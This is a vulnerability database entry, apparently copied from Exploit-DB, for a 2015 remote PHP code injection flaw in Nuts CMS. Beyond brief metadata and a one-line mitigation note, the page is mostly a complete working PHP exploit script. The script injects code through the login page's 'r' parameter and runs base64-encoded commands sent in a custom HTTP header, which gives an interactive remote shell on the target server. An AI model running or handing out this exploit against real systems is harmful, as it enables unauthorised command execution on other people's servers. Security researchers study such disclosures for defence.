Nuts-CMS Remote PHP Code Injection / Execution 0day Exploit

vendor:

Nuts CMS

by:

Yakir Wizman

7.5

CVSS

HIGH

PHP Code Injection

CWE

Product Name: Nuts CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2015

Nuts-CMS Remote PHP Code Injection / Execution 0day Exploit

Nuts CMS is vulnerable to php code injection due to improper input validation. An attacker can exploit this vulnerability by sending a malicious HTTP request to the vulnerable server with a payload that will be executed on the server.

Mitigation:

Input validation should be done properly to prevent code injection attacks.

Source

Exploit-DB raw data:

<?php
# Nuts-CMS Remote PHP Code Injection / Execution 0day Exploit
# 
# Nuts CMS is a content management system (CMS), which enables you to build Web sites and powerful online applications.
# Nuts CMS is an open source solution that is freely available to everyone.
#
# Discovered by Yakir Wizman
# Date 17/08/2015
# Vendor Homepage	: http://www.nuts-cms.com/
# CVE				: N/A
# Description		: Nuts CMS is vulnerable to php code injection due to improper input validation (CWE-20, https://cwe.mitre.org/data/definitions/20.html).
###
# Exploit code:

error_reporting(E_ALL);

$error[0] = "[!] This script is intended to be launched from the cli.";
 
if(php_sapi_name() <> "cli")
	die($error[0]);
     
if($argc < 3) {
	echo("\nUsage  : php {$argv[0]} <host> <path>");
	echo("\nExample: php {$argv[0]} localhost /");
	die();
}

if(isset($argv[1]) && isset($argv[2])) {
	$host = $argv[1];
	$path = $argv[2];
}

$pack = "GET {$path}nuts/login.php?r=<?php+error_reporting(0);print(_nutCmsId_);system(base64_decode(\$_SERVER[HTTP_CMD]));die;+?> HTTP/1.0\r\n";
$pack.= "Host: {$host}\r\n";
$pack.= "Cmd: %s\r\n";
$pack.= "Connection: close\r\n\r\n";

while(1) {
	print "\nAnonymous@{$host}:~# ";
    if(($cmd = trim(fgets(STDIN))) == "exit")
		break;
	preg_match("/_nutCmsId_(.*)/s", http_send($host, sprintf($pack, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}

function http_send($host, $pack) {
	if(!($sock = fsockopen($host, 80)))
		die("\n[-] No response from {$host}\n");
	fwrite($sock, $pack);
	return stream_get_contents($sock);
}
?>